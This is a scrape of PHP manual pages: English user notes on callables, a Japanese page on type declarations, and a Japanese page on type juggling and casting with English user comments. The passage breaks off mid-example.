You can use ::class property to always indicate the class you're in when using static methods:

<?php
class Foo {
    public static function doAwesomeThings() {
        FunctionCaller::callIt(self::class . '::someAwesomeMethod');
    }

    public static function someAwesomeMethod() {
        // fantastic code goes here.
    }
}

class FunctionCaller {
    public static function callIt(callable $func) {
        call_user_func($func);
    }
}

Foo::doAwesomeThings();
?>
mariano dot REMOVE dot perez dot rodriguez at gmail dot com 21-Sep-2015 07:45
I needed a function that would determine the type of callable being passed, and, eventually,
normalized it to some extent. Here's what I came up with:

<?php

/**
 * The callable types and normalizations are given in the table below:
 *
 *  Callable                        | Normalization                   | Type
 * ---------------------------------+---------------------------------+--------------
 *  function (...) use (...) {...}  | function (...) use (...) {...}  | 'closure'
 *  $object                         | $object                         | 'invocable'
 *  "function"                      | "function"                      | 'function'
 *  "class::method"                 | ["class", "method"]             | 'static'
 *  ["class", "parent::method"]     | ["parent of class", "method"]   | 'static'
 *  ["class", "self::method"]       | ["class", "method"]             | 'static'
 *  ["class", "method"]             | ["class", "method"]             | 'static'
 *  [$object, "parent::method"]     | [$object, "parent::method"]     | 'object'
 *  [$object, "self::method"]       | [$object, "method"]             | 'object'
 *  [$object, "method"]             | [$object, "method"]             | 'object'
 * ---------------------------------+---------------------------------+--------------
 *  other callable                  | idem                            | 'unknown'
 * ---------------------------------+---------------------------------+--------------
 *  not a callable                  | null                            | false
 *
 * If the "strict" parameter is set to true, additional checks are
 * performed, in particular:
 *  - when a callable string of the form "class::method" or a callable array
 *    of the form ["class", "method"] is given, the method must be a static one,
 *  - when a callable array of the form [$object, "method"] is given, the
 *    method must be a non-static one.
 *
 */
function callableType($callable, $strict = true, callable& $norm = null) {
  if (!is_callable($callable)) {
    switch (true) {
      case is_object($callable):
        $norm = $callable;
        return 'Closure' === get_class($callable) ? 'closure' : 'invocable';
      case is_string($callable):
        $m    = null;
        if (preg_match('~^(?<class>[a-z_][a-z0-9_]*)::(?<method>[a-z_][a-z0-9_]*)$~i', $callable, $m)) {
          list($left, $right) = [$m['class'], $m['method']];
          if (!$strict || (new \ReflectionMethod($left, $right))->isStatic()) {
            $norm = [$left, $right];
            return 'static';
          }
        } else {
          $norm = $callable;
          return 'function';
        }
        break;
      case is_array($callable):
        $m = null;
        if (preg_match('~^(:?(?<reference>self|parent)::)?(?<method>[a-z_][a-z0-9_]*)$~i', $callable[1], $m)) {
          if (is_string($callable[0])) {
            if ('parent' === strtolower($m['reference'])) {
              list($left, $right) = [get_parent_class($callable[0]), $m['method']];
            } else {
              list($left, $right) = [$callable[0], $m['method']];
            }
            if (!$strict || (new \ReflectionMethod($left, $right))->isStatic()) {
              $norm = [$left, $right];
              return 'static';
            }
          } else {
            if ('self' === strtolower($m['reference'])) {
              list($left, $right) = [$callable[0], $m['method']];
            } else {
              list($left, $right) = $callable;
            }
            if (!$strict || !(new \ReflectionMethod($left, $right))->isStatic()) {
              $norm = [$left, $right];
              return 'object';
            }
          }
        }
        break;
    }
    $norm = $callable;
    return 'unknown';
  }
  $norm = null;
  return false;
}

?>

Hope someone else finds it useful.
Riikka K 11-May-2015 01:36
A note on differences when calling callbacks as "variable functions" without the use of call_user_func() (e.g. "<?php $callback = 'printf'; $callback('Hello World!') ?>"):

- Using the name of a function as string has worked since at least 4.3.0
- Calling anonymous functions and invokable objects has worked since 5.3.0
- Using the array structure [$object, 'method'] has worked since 5.4.0

Note, however, that the following are not supported when calling callbacks as variable functions, even though they are supported by call_user_func():

- Calling static class methods via strings such as 'foo::doStuff'
- Calling parent method using the [$object, 'parent::method'] array structure

All of these cases are correctly recognized as callbacks by the 'callable' type hint, however. Thus, the following code will produce an error "Fatal error: Call to undefined function foo::doStuff() in /tmp/code.php on line 4":

<?php
class foo {
    static function callIt(callable $callback) {
        $callback();
    }

    static function doStuff() {
        echo "Hello World!";
    }
}

foo::callIt('foo::doStuff');
?>

The code would work fine, if we replaced the '$callback()' with 'call_user_func($callback)' or if we used the array ['foo', 'doStuff'] as the callback instead.
edanschwartz at gmail dot com 02-Feb-2015 06:13
You can use 'self::methodName' as a callable, but this is dangerous. Consider this example:

<?php
class Foo {
    public static function doAwesomeThings() {
        FunctionCaller::callIt('self::someAwesomeMethod');
    }

    public static function someAwesomeMethod() {
        // fantastic code goes here.
    }
}

class FunctionCaller {
    public static function callIt(callable $func) {
        call_user_func($func);
    }
}

Foo::doAwesomeThings();
?>

This results in an error:
Warning: class 'FunctionCaller' does not have a method 'someAwesomeMethod'.

For this reason you should always use the full class name:
<?php
FunctionCaller::callIt('Foo::someAwesomeMethod');
?>

I believe this is because there is no way for FunctionCaller to know that the string 'self' at one point referred to to `Foo`.
Yzmir Ramirez 15-Apr-2014 11:40
> As of PHP 5.2.3, it is also possible to pass 'ClassName::methodName'

You can also use 'self::methodName'.  This works in PHP 5.2.12 for me.
computrius at gmail dot com 11-Oct-2013 04:38
When specifying a call back in array notation (ie. array($this, "myfunc") ) the method can be private if called from inside the class, but if you call it from outside you'll get a warning:

<?php

class mc {
   public function go(array $arr) {
       array_walk($arr, array($this, "walkIt"));
   }

   private function walkIt($val) {
       echo $val . "<br />";
   }

    public function export() {
        return array($this, 'walkIt');
    }
}

$data = array(1,2,3,4);

$m = new mc;
$m->go($data); // valid

array_walk($data, $m->export()); // will generate warning

?>

Output:
1<br />2<br />3<br />4<br />
Warning: array_walk() expects parameter 2 to be a valid callback, cannot access private method mc::walkIt() in /in/tfh7f on line 22
metamarkers at gmail dot com 03-Jun-2013 07:34
you can pass an object as a callable if its class defines the __invoke() magic method..
steve at mrclay dot org 17-Sep-2012 09:00
Performance note: The callable type hint, like is_callable(), will trigger an autoload of the class if the value looks like a static method callback.
andrewbessa at gmail dot com 19-Jun-2012 03:16
You can also use the $this variable to specify a callback:

<?php
class MyClass {

    public $property = 'Hello World!';

    public function MyMethod()
    {
        call_user_func(array($this, 'myCallbackMethod'));
    }

    public function MyCallbackMethod()
    {
        echo $this->property;
    }

}
?>


型宣言

関数のパラメータや戻り値、 クラスのプロパティ (PHP 7.4.0 以降) に対して型を宣言することができます。 これによって、その値が特定の型であることを保証できます。 その型でない場合は、TypeError がスローされます。

注意:

親クラスのメソッドをオーバーライドする場合、 子クラスのメソッドは、 親クラスで宣言された戻り値の型のいずれかに一致させなければなりません。 親クラスが戻り値の型を宣言していない場合、 子クラスのメソッドもそうしなければなりません。

基本的な型

型 | 説明 | バージョン
クラス/インターフェイス の名前 | 値が、指定したクラスやインターフェイスのインスタンスでなければいけません。 |
self | 値が、型宣言が行われているクラスと同じクラスのインスタンスでなければいけません。 クラスの内部でのみ使えます。 |
parent | 値が、型宣言が行われたクラスの、親クラスのインスタンスでなければいけません。 クラスの内部でのみ使えます。 |
array | 値が、配列でなければいけません。 |
callable | 値が、callable でなければいけません。 クラスのプロパティの型では宣言できません。 |
bool | 値が、bool 値でなければいけません。 |
float | 値が、float でなければいけません。 |
int | 値が、int でなければいけません。 |
string | 値が、文字列でなければいけません。 |
iterable | 値が、配列か、Traversable のインスタンスでなければなりません。 | PHP 7.1.0 以降
object | 値が、object でなければなりません。 | PHP 7.2.0 以降
mixed | 値は、あらゆる値であることができます。 | PHP 8.0.0 以降
警告

上記のスカラー型のエイリアスはサポートされていません。 つまり、これらはクラスやインターフェイスの名前として扱われているということです。 たとえば、型の宣言に boolean を使った場合、 値が boolean クラスまたはインターフェイスのインスタンスであることが要求されます。 bool 型ではありません。

<?php
    function test(boolean $param) {}
    test(true);
?>

上の例の PHP 8 での出力は、このようになります。:

Warning: "boolean" will be interpreted as a class name. Did you mean "bool"? Write "\boolean" to suppress this warning in /in/9YrUX on line 2

Fatal error: Uncaught TypeError: test(): Argument #1 ($param) must be of type boolean, bool given, called in - on line 3 and defined in -:2
Stack trace:
#0 -(3): test(true)
#1 {main}
  thrown in - on line 2

mixed 型

mixed 型は、 以下の union 型 と同等です。 array|bool|callable|int|float |object|resource|string|null この型は、PHP 8.0.0 以降で利用可能です。

例

例1 クラスによる型宣言の基本

<?php
class C {}
class D extends C {}

// このクラスは C を継承していません
class E {}

function f(C $c) {
    echo get_class($c)."\n";
}

f(new C);
f(new D);
f(new E);
?>

上の例の PHP 8 での出力は、このようになります。:

C
D

Fatal error: Uncaught TypeError: f(): Argument #1 ($c) must be of type C, E given, called in /in/gLonb on line 14 and defined in /in/gLonb:8
Stack trace:
#0 -(14): f(Object(E))
#1 {main}
  thrown in - on line 8

例2 インターフェイスによる型宣言の基本

<?php
interface I { public function f(); }
class C implements I { public function f() {} }

// このクラスは I を実装していません
class E {}

function f(I $i) {
    echo get_class($i)."\n";
}

f(new C);
f(new E);
?>

上の例の PHP 8 での出力は、このようになります。:

C

Fatal error: Uncaught TypeError: f(): Argument #1 ($i) must be of type I, E given, called in - on line 13 and defined in -:8
Stack trace:
#0 -(13): f(Object(E))
#1 {main}
  thrown in - on line 8

例3 基本的な戻り値の型宣言

<?php
function sum($a, $b): float {
    return $a + $b;
}

// float が返される点に注意
var_dump(sum(1, 2));
?>

上の例の出力は以下となります。

float(3)

例4 オブジェクトを返す

<?php
class C {}

function getC(): C {
    return new C;
}

var_dump(getC());
?>

上の例の出力は以下となります。

object(C)#1 (0) {
}

Null を許容する型宣言

PHP 7.1.0 以降では、型の名前の前にクエスチョンマーク (?) を付けることで、nullable であるという印を付けられるようになりました。 こうすることで、その値の型が指定されたものか、null であることを指定できます。

例5 Null を許容する型宣言

<?php
class C {}

function f(?C $c) {
    var_dump($c);
}

f(new C);
f(null);
?>

上の例の出力は以下となります。

object(C)#1 (0) {
}
NULL

例6 Null を許容する戻り値の型宣言

<?php
function get_item(): ?string {
    if (isset($_GET['item'])) {
        return $_GET['item'];
    } else {
        return null;
    }
}
?>

注意:

PHP 7.1.0 より前のバージョンでは、 デフォルト値に null を指定することで null を許容する引数を指定することが出来ました。 これは、継承関係を破壊するので推奨できません。

例7 引数にnullを許容する古いやり方

<?php
class C {}

function f(C $c = null) {
    var_dump($c);
}

f(new C);
f(null);
?>

上の例の出力は以下となります。

object(C)#1 (0) {
}
NULL

union 型

型を union として宣言すると、ひとつではなく、 複数の異なる型を値として受け入れることができます。 union 型は、T1|T2|... という文法を使って指定します。 union 型は、PHP 8.0.0 以降で利用可能です。

Nullを受け入れる union 型

null 型も union 型の一部としてサポートされています。 null を受け入れる union を作るために、 T1|T2|null のような指定をすることができます。 既にある ?T 記法は、 よくある T|null の短縮記法と考えられます。

警告

null は、単独の、独立した型として使うことは出来ません。

false 疑似型

false リテラルの型が、union の一部としてサポートされています。 歴史的な理由で、多くの内部関数が失敗時に null ではなく false を返しているためです。 strpos() 関数は、このような関数の典型例です。

警告

false 疑似型は、単独の、独立した型 (単独な null を許容する型としても) として使うことは出来ません。 したがって、false, false|null, ?false はいずれも許されません。

警告

true リテラルの型は存在 しません

重複した冗長な型

union 型の宣言に関する単純なバグを見つけるため、 クラスの読み込みを行わずに検出できる冗長な型はコンパイル時にエラーになります。 たとえば、以下のような場合です:

  • 名前が解決された型は、一度しか現れることができません。 int|string|INT のような型はエラーになります。
  • bool 型が使われている場合、false 疑似型は追加で使えません。
  • object 型が使われている場合、クラスの型は追加で使えません。
  • iterable 型が使われている場合、 array と Traversable は追加で使えません。

注意: これによって、型が "最低限" であることは保証しません。 なぜなら、最低限であることを保証するためには、 使われている全てのクラスの型を読み込まなければならないからです。

たとえば、A と B がクラスのエイリアスだったとします。 この場合、A|B は A または B のみに縮めることができますが、 正しい union 型です。 同様に、B extends A {} というクラスがあった場合、 A|B は A のみに縮めることができますが、 正しい union 型です。

<?php
function foo(): int|INT {} // 許されません
function foo(): bool|false {} // 許されません

use A as B;
function foo(): A|B {} // 許されません ("use" は名前解決の一部です)

class_alias('X', 'Y');
function foo(): X|Y {} // 問題ありません (冗長かどうかは、実行時にだけわかります)
?>

返り値でのみ有効な型

void

void は、関数が値を返さないことを示す戻り値の型です。 よって、この型は union 型の一部として指定することが出来ません。 PHP 7.1.0 以降で利用できます。

static

値が、メソッドが呼び出されているクラスと同じインスタンスでなければなりません。 PHP 8.0.0 以降で利用できます。

厳密な型付け

デフォルトでは、PHP は誤った型の値を 可能であれば期待されたスカラー型の宣言に従うように強制します。 たとえば、関数に int が与えられたが、 引数に文字列が期待されていた場合、 文字列型の値を取得します。

ファイルごとに strict モードを有効にすることができます。 strict モードでは、型宣言に正確に対応する値のみを受け入れ、 そうでない場合、TypeError がスローされます。 このルールに関する唯一の例外は、int の値が float 型の宣言に渡せることだけです。

警告

内部関数の中からの関数呼び出しは、 strict_types 宣言の影響を受けません。

strict モードを有効にするには、declare 文を strict_types 宣言と一緒に使います。

注意:

厳密な型付けは、strict モードが有効になったファイルの 内部 から行われる関数呼び出しに適用されます。 そのファイルで宣言された関数への呼び出しに対して適用されるわけではありません。 厳密な型付けが有効になっていないファイルから、 厳密な型付けが有効になっているファイルで定義された関数を呼び出した場合は、 呼び出し側の好み(型の強制)が尊重され、値は型変換されます。

注意:

厳密な型付けは、スカラー型の宣言に対してのみ定義されます。

例8 引数の値に対する厳密な型付け

<?php
declare(strict_types=1);

function sum(int $a, int $b) {
    return $a + $b;
}

var_dump(sum(1, 2));
var_dump(sum(1.5, 2.5));
?>

上の例の PHP 8 での出力は、このようになります。:

int(3)

Fatal error: Uncaught TypeError: sum(): Argument #1 ($a) must be of type int, float given, called in - on line 9 and defined in -:4
Stack trace:
#0 -(9): sum(1.5, 2.5)
#1 {main}
  thrown in - on line 4

例9 引数の値に対する型の強制

<?php
function sum(int $a, int $b) {
    return $a + $b;
}

var_dump(sum(1, 2));

// これらは、整数型に強制されます: 以下の出力を参照!
var_dump(sum(1.5, 2.5));
?>

上の例の出力は以下となります。

int(3)
int(3)

例10 戻り値に対する厳密な型付け

<?php
declare(strict_types=1);

function sum($a, $b): int {
    return $a + $b;
}

var_dump(sum(1, 2));
var_dump(sum(1, 2.5));
?>

上の例の出力は以下となります。

int(3)

Fatal error: Uncaught TypeError: sum(): Return value must be of type int, float returned in -:5
Stack trace:
#0 -(9): sum(1, 2.5)
#1 {main}
  thrown in - on line 5

union 型と型の強制

strict_types が有効になっていない場合、 スカラー型の宣言は、限られた暗黙の型強制に従います。 値の正確な型が union の一部に指定されていない場合、 次の順に対象となる型が選択されます:

  1. int
  2. float
  3. string
  4. bool
正確な型が union の中に存在するか、 値が PHP の既存の型チェックのセマンティクスによって型を強制できる場合、 その型が選択されます。 そうでない場合、次の型を試そうとします。

警告

例外として、値が文字列で、int と float が union に含まれていた場合、 型は既存の "数値形式の文字列" を解釈するセマンティクスによって決まります。 たとえば、"42" の場合、 int が選ばれますし、 "42.0" の場合、float が選ばれます。

注意:

上のリストに入っていない型については、暗黙の型の強制が行われる対象ではありません。 特に、暗黙のうちに null や false に強制されることはありません。

例11 union の型のひとつに強制される例

<?php
// int|string
42    --> 42          // 正確に型が一致
"42"  --> "42"        // 正確に型が一致
new ObjectWithToString --> "Result of __toString()"
                      // オブジェクトは int と互換性がないので、文字列にフォールバック
42.0  --> 42          // float は int と互換性がある
42.1  --> 42          // float は int と互換性がある
1e100 --> "1.0E+100"  // int には大きすぎる float なので、文字列にフォールバック
INF   --> "INF"       // int には大きすぎる float なので、文字列にフォールバック
true  --> 1           // bool は int と互換性がある
[]    --> TypeError   // 配列はint, string と互換性はない。

// int|float|bool
"45"    --> 45        // int の数値形式の文字列
"45.0"  --> 45.0      // float の文字列

"45X"   --> true      // 数値形式の文字列ではない。boolにフォールバック
""      --> false     // 数値形式の文字列ではない。boolにフォールバック
"X"     --> true      // 数値形式の文字列ではない。boolにフォールバック
[]      --> TypeError // 配列はint, float, bool と互換性はない。
?>

その他

例12 リファレンス渡しの引数に対する型宣言

リファレンス渡し の引数に対して宣言される型は、関数の入り口でチェックされますが、 関数から返される時はチェックされません。よって、関数から戻った後は、 引数の型が変わっているかもしれません。

<?php
function array_baz(array &$param)
{
    $param = 1;
}
$var = [];
array_baz($var);
var_dump($var);
array_baz($var);
?>

上の例の PHP 8 での出力は、このようになります。:

int(1)

Fatal error: Uncaught TypeError: array_baz(): Argument #1 ($param) must be of type array, int given, called in - on line 9 and defined in -:2
Stack trace:
#0 -(9): array_baz(1)
#1 {main}
  thrown in - on line 2

例13 TypeError をキャッチする

<?php
declare(strict_types=1);

function sum(int $a, int $b) {
    return $a + $b;
}

try {
    var_dump(sum(1, 2));
    var_dump(sum(1.5, 2.5));
} catch (TypeError $e) {
    echo 'Error: ', $e->getMessage();
}
?>

上の例の PHP 8 での出力は、このようになります。:

int(3)
Error: sum(): Argument #1 ($a) must be of type int, float given, called in - on line 10

User Contributed Notes

There are no user contributed notes for this page.


型の相互変換

PHP は、変数定義時に明示的な型定義を必要と(または、サポート) しません。ある変数の型は、その変数が使用される文により定義されます。 これは、ある文字列を変数 $var に代入した場合には、 $var は文字列になることを意味しています。 ある整数値を $var に代入した場合には、 その変数は整数になります。

PHP の自動型変換の例の一つは、乗算演算子 '*' です。 オペランドのどれかが float の場合、全てのオペランドは float として評価され、結果は float になります。 その他の場合、オペランドは整数として解釈され、結果も整数になります。 この自動型変換は、 オペランド自体の型を変更するものではないということに注意してください。 変わるのは、オペランドがどのように評価されるかだけです。

<?php
$foo = "1";  // $foo は文字列 (ASCII 49) です
$foo *= 2;   // ここでは、$foo は整数 (2) です
$foo = $foo * 1.3;  // ここでは、$foo はfloat (2.6) です
$foo = 5 * "10 Little Piggies"; // $foo は整数 (50) です
$foo = 5 * "10 Small Pigs";     // $foo は整数 (50) です
?>

最後の二つの例が奇妙に思える場合には、 数値形式の文字列 がどのようにして数値に変換されるかを見て下さい。

ある変数を強制的にある特定の型として評価させたい場合には、 型キャスト のセクションを参照ください。ある変数の型を変更したい場合には、 settype() を参照してください。

本節の例をテストしたい場合には、 var_dump() を使用することが可能です。

注意:

配列への自動変換の動作は現時点で定義されていません。

また、PHP では配列の添字と同じ構文を使用した文字列へのアクセスをサポートしているので、 次の例はあらゆるバージョンの PHP で成立します。

<?php
$a    = 'car'; // $a は文字列です
$a[0] = 'b';   // $a はここでも文字列です
echo $a;       // bar
?>

詳細は、 文字として文字列をアクセスするというセクションを参照してください。

型キャスト

PHP の型キャストは、C 言語と同様に動作します。つまり、 変換しようとする型を括弧で括り、キャストする変数の前に置きます。

<?php
$foo = 10;   // $foo は整数です
$bar = (boolean) $foo;   // $bar はbooleanです
?>

使用可能なキャストを以下に示します。

  • (int), (integer) - 整数へのキャスト
  • (bool), (boolean) - 論理値へのキャスト
  • (float), (double), (real) - float へのキャスト
  • (string) - 文字列へのキャスト
  • (array) - 配列へのキャスト
  • (object) - オブジェクトへのキャスト
  • (unset) - NULL へのキャスト

(binary) によるキャストや b プレフィックスもサポートされています。 (binary) によるキャストは本質的には (string) と同じですが、それに依存すべきではありません。

(unset) によるキャストは PHP 7.2.0 以降推奨されなくなりました。 (unset) によるキャストは、値に NULL 値を代入することと同じです。 (unset) によるキャストは、PHP 8.0.0 で削除されました。

括弧の中でタブとスペースを使用することができることに注意してください。 したがって、次の文は機能的に等価です。

<?php
$foo = (int) $bar;
$foo = ( int ) $bar;
?>

リテラル文字列や変数を、バイナリ文字列にキャストします。

<?php
$binary = (binary) $string;
$binary = b"binary string";
?>

注意:

ある変数を文字列にキャストする代わりに、 二重引用符で括ることもできます。

<?php
$foo = 10;            // $foo は整数です
$str = "$foo";        // $str は文字列です
$fst = (string) $foo; // $fst も文字列です

// これは、"they are the same"を出力します
if ($fst === $str) {
    echo "they are the same";
}
?>

型の間でキャストを行う際の動作は、必ずしも明確ではありません。 詳細については、以下の節を参照ください。

  • 論理値への変換
  • 整数への変換
  • 浮動小数点数への変換
  • 文字列への変換
  • 配列への変換
  • オブジェクトへの変換
  • リソース型への変換
  • NULL への変換
  • 型の比較表

User Contributed Notes

Anonymous 05-Feb-2021 01:07
Cast operators have a very high precedence, for example (int)$a/$b is evaluated as ((int)$a)/$b, not as (int)($a/$b) [which would be like intdiv($a,$b) if both $a and $b are integers].
The only exceptions (as of PHP 8.0) are the exponentiation operator ** [i.e. (int)$a**$b is evaluated as (int)($a**$b) rather than ((int)$a)**$b] and the special access/invocation operators ->, ::, [] and () [i.e. in each of (int)$a->$b, (int)$a::$b, (int)$a[$b] and (int)$a($b), the cast is performed last on the result of the variable expression].
Dhairya Lakhera 25-Jul-2019 10:02
Value of uninitialized variable of different data types.

settype($a,'bool');
var_dump($a);         //boolean false

settype($b,'string');
var_dump($b);        //string '' (length=0)

settype($c,'array');
var_dump($c);        //array (size=0)  empty

settype($d,'int');
var_dump($d);       //int 0

settype($e,'float');
var_dump($e);      //float 0

settype($f,'object');
var_dump($f);     //object(stdClass)[1]
Anonymous 11-Mar-2019 05:16
"An example of PHP's automatic type conversion is the multiplication operator '*'. If either operand is a float, then both operands are evaluated as floats, and the result will be a float. Otherwise, the operands will be interpreted as integers, and the result will also be an integer. Note that this does not change the types of the operands themselves; the only change is in how the operands are evaluated and what the type of the expression itself is."

I understand what the doc is trying to say here, but this sentence is not correct as stated, other types can be coerced into floats.

e.g.

<?php
$a = "1.5"; // $a is a string
$b = 100; // $b is an int
$c = $a * $b; // $c is a float, value is 150
// multiplication resulted in a float despite fact that neither operand was a float
berniev 15-Sep-2015 11:23
May be expected, but not stated ..
Casting to the existing (same) type has no effect.
$t = 'abc';          // string 'abc'
$u=(array) $t;   // array 0 => string 'abc'  <-- now an array
$v=(array) $u;  // array 0 => string 'abc'  <-- unchanged
davaakhuu at outlook dot com 03-Jun-2015 07:29
Type Juggling<br/>
   <?php $count = "2 cats"; ?>
   Type: <?php echo gettype($count); ?><br/>
   <?php $count += 3; ?>
   Type: <?php echo gettype($count); ?><br/>
   <?php $cats = "I have " . $count . "cats."; ?>
   Cats: <?php echo gettype($cats); ?><br/>
   <br/>
   Type Casting<br/>
   <?php settype($count, "integer"); ?>
   count: <?php echo gettype($count); ?><br/>

   <?php $count2 = (string)$count; ?>
   count: <?php echo gettype($count); ?><br/>
   count2: <?php echo gettype($count2); ?><br/>

   <?php $test1 = 3; ?>
   <?php $test2 = 3; ?>
   <?php settype($test1, "string"); ?>
   <?php (string)$test2; ?>
   test1: <?php echo gettype($test1); ?><br/>
   test2: <?php echo gettype($test2); ?><br/>
mbrowne83 (at GM) 27-Dec-2014 01:15
The code listed in some of the comments here for supposedly "casting" from one class to another using unserialize/serialize does not actually change the class of the existing object; it creates a new object. So it's not the same as a cast.
Eric Lavoie 02-Oct-2014 09:24
(array) null
array(null)

are not the same.

var_dump((array) null) =>
array (size=0)
  empty

var_dump(array (null)) =>
array (size=1)
  0 => null
kuzawinski dot marcin at NOSPAM dot gmail dot com 14-Jul-2014 09:40
You REALLY must be aware what you are doing, when you cast a lot  in your code. For example, you can accidentaly change FALSE to TRUE  (probably not in one line, like here):

if(TRUE === (boolean) (array) (int) FALSE) {
    kaboom();
}
fardelian 13-Apr-2013 03:23
Casting objects to arrays is a pain. Example:

<?php

class MyClass {

    private $priv = 'priv_value';
    protected $prot = 'prot_value';
    public $pub = 'pub_value';
    public $MyClasspriv = 'second_pub_value';

}

$test = new MyClass();
echo '<pre>';
print_r((array) $test);

/*
Array
(
    [MyClasspriv] => priv_value
    [*prot] => prot_value
    [pub] => pub_value
    [MyClasspriv] => second_pub_value
)
 */

?>

Yes, that looks like an array with two keys with the same name and it looks like the protected field was prepended with an asterisk. But that's not true:

<?php

foreach ((array) $test as $key => $value) {
    $len = strlen($key);
    echo "{$key} ({$len}) => {$value}<br />";
    for ($i = 0; $i < $len; ++$i) {
        echo ord($key[$i]) . ' ';
    }
    echo '<hr />';
}

/*
MyClasspriv (13) => priv_value
0 77 121 67 108 97 115 115 0 112 114 105 118
*prot (7) => prot_value
0 42 0 112 114 111 116
pub (3) => pub_value
112 117 98
MyClasspriv (11) => second_pub_value
77 121 67 108 97 115 115 112 114 105 118
 */

?>

The char codes show that the protected keys are prepended with '\0*\0' and private keys are prepended with '\0'.__CLASS__.'\0' so be careful when playing around with this.
ieee at REMOVE dot bk dot ru 17-Jun-2012 04:26
There are some shorter and faster (at least on my machine) ways to perform a type cast.
<?php
$string='12345.678';
$float=+$string;
$integer=0|$string;
$boolean=!!$string;
?>
Anonymous 07-Feb-2012 06:31
namaroulis stated "I found it tricky to check if a posted value was an integer"; to test if a variable is a number or a numeric string (such as form input, which is always a string), you must use is_numeric():

<?php
$_POST['a'] = "42";

is_numeric( $_POST['a'] ); // true
?>
hemi68 at hotmail dot com 06-Sep-2011 08:01
Cast a string to binary using PHP < 5.2.1

 $binary = unpack('c*', $string);
jphansen at uga dot edu 21-Apr-2011 10:53
Type casting from string to int and vice versa is probably the most common conversation. PHP does this very simply through the +. and .= operators, removing any explicit casting:

<?php
$x = 1;
var_dump($x); // int(1)
$x .= 1;
var_dump($x); // string(2) "11"; also an empty string ("") would cast to string without changing $x

$x = "1";
var_dump($x);  // string(1) "1"
$x += 1;
var_dump($x); // int(2); also a zero value (0) would cast to int without changing $x
?>
Anonymous 11-Mar-2011 11:01
Checking for strings to be integers?
How about if a string is a float?

<?php

/* checks if a string is an integer with possible whitespace before and/or after, and also isolates the integer */
$isInt=preg_match('/^\s*([0-9]+)\s*$/', $myString, $myInt);

echo 'Is Integer? ',  ($isInt) ? 'Yes: '.$myInt[1] : 'No', "\n";

/* checks if a string is an integer with no whitespace before or after  */
$isInt=preg_match('/^[0-9]+$/', $myString);

echo 'Is Integer? ',  ($isInt) ? 'Yes' : 'No', "\n";

/* When checking for floats, we assume the possibility of no decimals needed.  If you MUST require decimals (forcing the user to type 7.0 for example) replace the sequence:
[0-9]+(\.[0-9]+)?
with
[0-9]+\.[0-9]+
*/

/* checks if a string is a float with possible whitespace before and/or after, and also isolates the number */
$isFloat=preg_match('/^\s*([0-9]+(\.[0-9]+)?)\s*$/', $myString, $myNum);

echo 'Is Number? ',  ($isFloat) ? 'Yes: '.$myNum[1] : 'No', "\n";

/* checks if a string is a float with no whitespace before or after */
$isInt=preg_match('/^[0-9]+(\.[0-9]+)?$/', $myString);

echo 'Is Number? ',  ($isFloat) ? 'Yes' : 'No', "\n";

?>
namaroulis at gmail dot com 02-Mar-2011 01:47
I found it tricky to check if a posted value was an integer.

<?php

$_POST['a'] = "42";

is_int( $_POST['a'] ); //false
is_int( intval( "anything" ) ); //always true
?>

A method I use for checking if a string represents an integer value.

<?php
function check_int( $str )
                {
                    return  is_numeric( $str ) && intval( $str ) - $str == 0;
                }
?>
rmirabelle 17-Oct-2010 10:18
The object casting methods presented here do not take into account the class hierarchy of the class you're trying to cast your object into.

/**
     * Convert an object to a specific class.
     * @param object $object
     * @param string $class_name The class to cast the object to
     * @return object
     */
    public static function cast($object, $class_name) {
        if($object === false) return false;
        if(class_exists($class_name)) {
            $ser_object     = serialize($object);
            $obj_name_len     = strlen(get_class($object));
            $start             = $obj_name_len + strlen($obj_name_len) + 6;
            $new_object      = 'O:' . strlen($class_name) . ':"' . $class_name . '":';
            $new_object     .= substr($ser_object, $start);
            $new_object     = unserialize($new_object);
            /**
             * The new object is of the correct type but
             * is not fully initialized throughout its graph.
             * To get the full object graph (including parent
             * class data, we need to create a new instance of
             * the specified class and then assign the new
             * properties to it.
             */
            $graph = new $class_name;
            foreach($new_object as $prop => $val) {
                $graph->$prop = $val;
            }
            return $graph;
        } else {
            throw new CoreException(false, "could not find class $class_name for casting in DB::cast");
            return false;
        }
    }
martinscotta at gmail dot com 21-Sep-2010 08:44
in response to bhsmither at gmail.com

It raises a warning because of the bad enquoted variable

<?php

error_reporting( E_ALL | E_STRICT );

$foo['ten'] = 10;        // $foo['ten'] is an array holding an integer at key "ten"
$str = "{$foo['ten']}";  // works "10"
$str = "$foo[ten]";      // DO NOT work!
bhsmither at gmail.com 19-Mar-2010 03:41
<?php
$foo['ten'] = 10;            // $foo['ten'] is an array holding an integer at key "ten"
$str = "$foo['ten']";        // throws T_ENCAPSED_AND_WHITESPACE error
$str = "$foo[ten]";          // works because constants are skipped in quotes
$fst = (string) $foo['ten']; // works with clear intention
?>
edgar dot klerks at gmail dot com 17-Mar-2009 08:04
It seems (unset) is pretty useless. But for people who like to make their code really compact (and probably unreadable). You can use it to use an variable and unset it on the same line:

Without cast:

<?php

$hello = 'Hello world';
print $hello;
unset($hello);

?>

With the unset cast:

<?php

$hello = 'Hello world';
$hello = (unset) print $hello;

?>

Hoorah, we lost another line!
kajsunansis at that gmail 03-Dec-2008 11:18
json_decode users consider this, when casting stdClass to array:
<?php
$obj = new stdClass();
$obj->{"2"} = "id";
$arr = (array) $obj;
$result = isset($arr["2"]) || array_key_exists(2, $arr); // false
?>
..though casting is at least 2x faster than foreach.
Jeffrey 09-Nov-2008 11:34
IMAGINATION REQUIRED...

We can be a witness to PHP's 'type-jugglin' in real-time with a simple implementation of a MemoryMap. For the sake our purposes, pretend that this is an empty MemoryMap.
+-------+------+------+-------+
| index | $var | type | value |
+-------+------+------+-------+
|     1 |  --- | NULL |  null |
|     2 |  --- | NULL |  null |
|     3 |  --- | NULL |  null |
|     4 |  --- | NULL |  null |
+-------+------+------+-------+

<?php
# create some variables...
$a = 10;
$b = "Hello";
$c = array(55.45, 98.65);
# Now look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a | INTEGER |     10 |
|     2 |    $b |  STRING |  Hello |
|     3 | $c[0] |   FLOAT |  55.45 |
|     4 | $c[1] |   FLOAT |  98.65 |
+-------+-------+---------+--------+
<?php
# Now, change the variable types...
$a = "Bye";
$b = 2;
$c[0] = "Buy";
$c[1] = "Now!";
#Look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a |  STRING |    Bye | <- used to be INTEGER
|     2 |    $b | INTEGER |      2 | <- used to be STRING
